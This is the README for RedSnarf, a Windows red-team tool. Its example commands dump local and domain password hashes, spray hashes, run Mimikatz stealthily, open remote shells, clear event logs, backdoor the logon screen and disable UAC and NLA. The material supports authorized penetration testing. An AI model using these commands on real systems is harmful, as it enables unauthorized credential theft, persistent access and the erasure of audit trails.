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https://github.com/nccgroup/redsnarf

RedSnarf is a pen-testing / red-teaming tool for Windows environments
https://github.com/nccgroup/redsnarf

active-directory pentesting pentesting-windows python windows

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RedSnarf is a pen-testing / red-teaming tool for Windows environments

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README

        

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______ .____________ _____
\______ \ ____ __| _/ _____/ ____ _____ ________/ ____\
| _// __ \ / __ |\_____ \ / \\__ \\_ __ \ __\
| | \ ___// /_/ |/ \ | \/ __ \| | \/| |
|____|_ /\___ >____ /_______ /___| (____ /__| |__|
\/ \/ \/ \/ \/ \/
[email protected]
@redsnarf
```

[![GitHub license](https://img.shields.io/hexpm/l/plug.svg)](https://github.com/nccgroup/redsnarf/blob/master/LICENSE.md)

**RedSnarf** is a pen-testing / red-teaming tool by **Ed Williams** for retrieving hashes and credentials from Windows
workstations, servers and domain controllers using OpSec Safe Techniques.

See our YouTube Channel for Videos
https://www.youtube.com/channel/UCDGWRxpHo6d8y6qIeMAXnxQ

RedSnarf functionality includes:

• Retrieval of local SAM hashes
• Enumeration of user/s running with elevated system privileges and their corresponding lsa secrets password;
• Retrieval of MS cached credentials;
• Pass-the-hash;
• Quickly identify weak and guessable username/password combinations (default of administrator/Password01);
• The ability to retrieve hashes across a range;
• Hash spraying -
Credsfile will accept a mix of pwdump, fgdump and plain text username and password separated by a space;
• Lsass dump for offline analysis with Mimikatz;
• Dumping of Domain controller hashes using NTDSUtil and retrieval of NTDS.dit for local parsing;
• Dumping of Domain controller hashes using the drsuapi method;
• Retrieval of Scripts and Policies folder from a Domain controller and parsing for 'password' and 'administrator';
• Ability to decrypt cpassword hashes;
• Ability to start a shell on a remote machine;
• The ability to clear the event logs (application, security, setup or system); (Internal Version only)
• Results are saved on a per-host basis for analysis.
• Enable/Disable RDP on a remote machine.
• Change RDP port from 3389 to 443 on a remote machine.
• Enable/Disable NLA on a remote machine.
• Find where users are logged in on remote machines.
• Backdoor Windows Logon Screen
• Enable/Disable UAC on a remote machine.
• Stealth mimikatz added.
• Parsing of domain hashes
• Ability to determine which accounts are enabled/disabled
• Take a screen shot of a Remote logged on Active Users Desktop
• Record Remote logged on Active Users Desktop
• Decrypt Windows CPassword
• Decrypt WinSCP Password
• Get User SPN's
• Retrieve WIFI passwords from remote machines

RedSnarf Usage
=======================

**Requirements:**
Impacket v0.9.16-dev - https://github.com/CoreSecurity/impacket.git
CredDump7 - https://github.com/Neohapsis/creddump7
Lsass Retrieval using procdump - https://technet.microsoft.com/en-us/sysinternals/dd996900.aspx
Netaddr (0.7.12) - pip install netaddr
Termcolor (1.1.0) - pip install termcolor
iconv - used with parsing Mimikatz info locally

**Show Help**
./redsnarf.py -h
./redsnarf.py --help

Retrieve Local Hashes
=======================

Retrieve Local Hashes from a single machine using weak local credentials and clearing the Security event log
**./redsnarf.py -H ip=10.0.0.50 -uC security**

Retrieve Local Hashes from a single machine using weak local credentials and clearing the application event log
**./redsnarf.py -H ip=10.0.0.50 -uC application**

Retrieve Local Hashes from a single machine using local administrator credentials
**./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d .**

Retrieve Local Hashes from a single machine using domain administrator credentials
**./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com**

Retrieve Hashes across a network range using local administrator credentials
**./redsnarf.py -H range=10.0.0.1/24 -u administrator -p Password01 -d .**

Retrieve Hashes across a network range using domain administrator credentials
**./redsnarf.py -H range=10.0.0.1/24 -u administrator -p Password01 -d yourdomain.com**

Retrieve Hashes across a network range using domain administrator credentials
**./redsnarf.py -H file=targets.txt -u administrator -p Password01 -d yourdomain.com**

Hash Spraying
=======================

Spray Hashes across a network range
**./redsnarf.py -H range=10.0.0.1/24 -hS credsfile -d .**

Retrieve Hashes across a network range domain login
**./redsnarf.py -H range=10.0.0.1/24 -hS credsfile -d yourdomain.com**

Quickly Check Credentials
**./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password1 -d . -cQ y**

Quickly Check File containing usernames (-hS) and a generic password (-hP)
**./redsnarf.py -H ip=10.0.0.1 -hS /path/to/usernames.txt -hP PasswordToTry -cQ y**

Retrieve Domain Hashes
=======================

Retrieve Hashes using drsuapi method (Quickest)
This method supports an optional flag of -q y which will query LDAP and output whether accounts are live or disabled
**./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -hI y (-hQ y)**

Retrieve Hashes using NTDSUtil
This method supports an optional flag of -q y which will query LDAP and output whether accounts are live or disabled
**./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -hN y (-hQ y)**

Golden Ticket Generation
**./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -hT y**

Information Gathering
=======================

Copy the Policies and Scripts folder from a Domain Controller and parse for password and administrator
**./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -uP y**

Decrypt Cpassword
**./redsnarf.py -uG cpassword**

Find User - Live
**/redsnarf.py -H range=10.0.0.1/24 -u administrator -p Password01 -d yourdomain.com -eL user.name**

Find User - Offline (searches pre downloaded information)
**/redsnarf.py -H range=10.0.0.1/24 -u administrator -p Password01 -d yourdomain.com -eO user.name**

Display NT AUTHORITY\SYSTEM Tasklist
**/redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -eT y**

Screenshot the Desktop of a Remote Logged on Active User
**/redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -eS y**

Misc
=======================

Start a Shell on a machine using local administrator credentials
**./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d . -uD y**

Start a Shell on a machine using domain administrator credentials
**./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -uD y**

Retrieve a copy of lsass for offline parsing with Mimikatz on a machine using local administrator credentials
**./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d . -hL y**

Run stealth mimikatz, this option fires up a web-server to serve a powershell script, this is obfusctaed and encoded machine side, data doesnt touch disk - creds are grepped for in an easy to read style and echoed back to screen.
**./redsnarf.py -H ip=192.168.198.162 -u administrator -p Password01 -cS y -hR y**

Run Custom Command
Example 1
**./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -uX 'net user'**

Example 2 - Double Quotes need to be escaped with \
**./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -uX 'dsquery group -name \"domain admins\" | dsget group -members -expand'**

Local Access Token Policy
Creates a batch file lat.bat which you can copy and paste to the remote machine to execute which will modify the registry and either enable or disable Local Access Token Policy settings.
**./redsnarf.py -rL y**

Wdigest
Enable UseLogonCredential Wdigest registry value on a machine using domain administrator credentials
**./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rW e**

Disable UseLogonCredential Wdigest registry value on a machine using domain administrator credentials
**./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rW d**

Query UseLogonCredential Wdigest registry value on a machine using domain administrator credentials
**./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rW q**

UAC
Enable UAC registry value on a machine using domain administrator credentials
**./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rU e**

Disable UAC registry value on a machine using domain administrator credentials
**./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rU d**

Query UAC registry value on a machine using domain administrator credentials
**./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rU q**

Backdoor - Backdoor Windows Screen - Press Left Shift + Left Alt + Print Screen to activate
Enable Backdoor registry value on a machine using domain administrator credentials
**./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rB e**

Disable Backdoor registry value on a machine using domain administrator credentials
**./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rB d**

Query Backdoor registry value on a machine using domain administrator credentials
**./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rB q**

AutoLogon
Enable Windows AutoLogon registry value on a machine using domain administrator credentials
**./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rA e**

Disable Windows AutoLogon registry value on a machine using domain administrator credentials
**./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rA d**

Query Windows AutoLogon registry value on a machine using domain administrator credentials
**./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rA q**

Lock a remote machine user session using domain administrator credentials
**./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -uL y**

RDP
=======================

Enable RDP on a machine using domain administrator credentials
**./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rR e**

Disable RDP on a machine using domain administrator credentials
**./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rR d**

Query RDP status on a machine using domain administrator credentials
**./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rR q**

Change RDP Port from 3389 to 443 - Change RDP Port to 443 on a machine using domain administrator credentials
**./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rT e**

Change RDP Port to default of 3389 on a machine using domain administrator credentials
**./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rT d**

Query RDP Port Value on a machine using domain administrator credentials
**./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rT q**

Enable Multi-RDP with Mimikatz
**./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -uR y**

Enable RDP SingleSessionPerUser on a machine using domain administrator credentials
**./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rM e**

Disable RDP SingleSessionPerUser on a machine using domain administrator credentials
**./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rM d**

Query RDP SingleSessionPerUser status on a machine using domain administrator credentials
**./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rM q**

NLA
=======================

Enable NLA on a machine using domain administrator credentials
**./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rN e**

Disable NLA on a machine using domain administrator credentials
**./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rN d**

Query NLA status on a machine using domain administrator credentials
**./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rN q**